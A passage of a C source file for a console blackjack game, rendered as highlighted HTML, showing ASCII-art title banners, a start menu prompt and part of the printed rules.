</span></span><span class="line"><span class="ln"> 60</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">            222 222            11111                              &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">           222   222          11 111                            &#34;</span><span class="p">);</span> 
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                222              111                               &#34;</span><span class="p">);</span> 
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">               222               111                           &#34;</span><span class="p">);</span>   
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>  
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c    %c    %c%c           %c  %c       %c     %c   %c   %c              &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>            
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c    %c    %c%c          %c    %c     %c          %c  %c               &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>                        
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>      
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>                       
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c     %c   %c%c         %c      %c    %c          %c   %c               &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>                                         
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c     %c   %c%c        %c        %c    %c     %c   %c    %c             &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>                                                            
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            &#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>                                                                                     
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>     
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                        21                                   &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">     
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                     
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        %c%c        %c  %c       %c     %c   %c   %c              &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                      
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        %c%c       %c    %c     %c          %c  %c               &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                           
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        %c%c       %c %c%c %c     %c          %c %c              &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                     
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        %c%c      %c %c%c%c%c %c    %c          %c%c %c             &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                                
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        %c%c      %c      %c    %c          %c   %c               &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                                                               
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     %c  %c%c     %c        %c    %c     %c   %c    %c             &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                                                                                               
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            &#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">diamond</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">heart</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">club</span><span class="p">,</span> <span class="n">spade</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>                                                                                                                                        
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>  
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">         222                     111                         &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">        222                      111                         &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">       222                       111                         &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      222222222222222      111111111111111                       &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      2222222222222222    11111111111111111                         &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">     
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">    <span class="nf">asktitle</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">     
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="k">return</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl"><span class="p">}</span> <span class="c1">//end program
</span></span></span><span class="line"><span class="ln"> 99</span><span class="cl"> 
</span></span><span class="line"><span class="ln">100</span><span class="cl"><span class="kt">void</span> <span class="nf">asktitle</span><span class="p">()</span> <span class="c1">// Function for asking player if they want to continue
</span></span></span><span class="line"><span class="ln">101</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">    <span class="kt">char</span> <span class="n">choice1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">    <span class="kt">int</span> <span class="n">choice2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">     
</span></span><span class="line"><span class="ln">105</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                 Are You Ready?&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                ----------------&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">                      (Y/N)</span><span class="se">\n</span><span class="s">                        &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">     <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl"> 
</span></span><span class="line"><span class="ln">110</span><span class="cl">    <span class="k">while</span><span class="p">((</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If invalid choice entered
</span></span></span><span class="line"><span class="ln">111</span><span class="cl">    <span class="p">{</span>                                                                           
</span></span><span class="line"><span class="ln">112</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Incorrect Choice. Please Enter Y for Yes or N for No.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl"> 
</span></span><span class="line"><span class="ln">117</span><span class="cl"> 
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;y&#39;</span><span class="p">))</span> <span class="c1">// If yes, continue. Prints menu.
</span></span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="p">{</span> 
</span></span><span class="line"><span class="ln">120</span><span class="cl">	    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Enter 1 to Begin the Greatest Game Ever Played.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Enter 2 to See a Complete Listing of Rules.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Enter 3 to Exit Game. (Not Recommended)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Choice: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">            <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice2</span><span class="p">);</span> <span class="c1">// Prompts user for choice
</span></span></span><span class="line"><span class="ln">126</span><span class="cl">            <span class="k">if</span><span class="p">((</span><span class="n">choice2</span><span class="o">&lt;</span><span class="mi">1</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice2</span><span class="o">&gt;</span><span class="mi">3</span><span class="p">))</span> <span class="c1">// If invalid choice entered
</span></span></span><span class="line"><span class="ln">127</span><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Incorrect Choice. Please enter 1, 2 or 3</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">                <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">            <span class="k">switch</span><span class="p">(</span><span class="n">choice2</span><span class="p">)</span> <span class="c1">// Switch case for different choices
</span></span></span><span class="line"><span class="ln">132</span><span class="cl">            <span class="p">{</span>   
</span></span><span class="line"><span class="ln">133</span><span class="cl">                <span class="k">case</span> <span class="mi">1</span><span class="o">:</span> <span class="c1">// Case to begin game
</span></span></span><span class="line"><span class="ln">134</span><span class="cl">                   <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>                    
</span></span><span class="line"><span class="ln">135</span><span class="cl">                   <span class="nf">play</span><span class="p">();</span>                                       
</span></span><span class="line"><span class="ln">136</span><span class="cl">                   <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl">                    
</span></span><span class="line"><span class="ln">138</span><span class="cl">                <span class="k">case</span> <span class="mi">2</span><span class="o">:</span> <span class="c1">// Case to see rules
</span></span></span><span class="line"><span class="ln">139</span><span class="cl">                   <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">                   <span class="nf">rules</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">                   <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">                    
</span></span><span class="line"><span class="ln">143</span><span class="cl">                <span class="k">case</span> <span class="mi">3</span><span class="o">:</span> <span class="c1">// Case to exit game
</span></span></span><span class="line"><span class="ln">144</span><span class="cl">                   <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Your day could have been perfect.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                   <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Have an almost perfect day!</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">);</span>                   
</span></span><span class="line"><span class="ln">146</span><span class="cl">                   <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                   <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                    
</span></span><span class="line"><span class="ln">149</span><span class="cl">                <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">                   <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Invalid Input&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">            <span class="p">}</span> <span class="c1">// End switch case
</span></span></span><span class="line"><span class="ln">152</span><span class="cl">    <span class="p">}</span> <span class="c1">// End if loop
</span></span></span><span class="line"><span class="ln">153</span><span class="cl">    
</span></span><span class="line"><span class="ln">154</span><span class="cl">             
</span></span><span class="line"><span class="ln">155</span><span class="cl"> 
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If no, exit program
</span></span></span><span class="line"><span class="ln">157</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Your day could have been perfect.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Have an almost perfect day!</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">163</span><span class="cl">     
</span></span><span class="line"><span class="ln">164</span><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">165</span><span class="cl"><span class="p">}</span> <span class="c1">// End function
</span></span></span><span class="line"><span class="ln">166</span><span class="cl"> 
</span></span><span class="line"><span class="ln">167</span><span class="cl"><span class="kt">void</span> <span class="nf">rules</span><span class="p">()</span> <span class="c1">//Prints &#34;Rules of Vlad&#39;s Blackjack&#34; list
</span></span></span><span class="line"><span class="ln">168</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">169</span><span class="cl">     <span class="kt">char</span> <span class="n">choice1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">170</span><span class="cl">     <span class="kt">int</span> <span class="n">choice2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">171</span><span class="cl">      
</span></span><span class="line"><span class="ln">172</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">           RULES of VLAD&#39;s BLACKJACK&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">          ---------------------------&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">I.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     Thou shalt not question the odds of this game.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c This program generates cards at random.&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c If you keep losing, you are very unlucky!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">178</span><span class="cl">      
</span></span><span class="line"><span class="ln">179</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">II.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     Each card has a value.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">181</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c Number cards 1 to 10 hold a value of their number.&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">182</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c J, Q, and K cards hold a value of 10.&#34;</span><span class="p">,</span> <span class="n">diamond</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">183</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">      %c Ace cards hold a value of 11&#34;</span><span class="p">,</span> <span class="n">club</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">184</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">     The goal of this game is to reach a card value total of 21.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">      
</span></span><span class="line"><span class="ln">186</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">III.&#34;</span><span class="p">);</span>
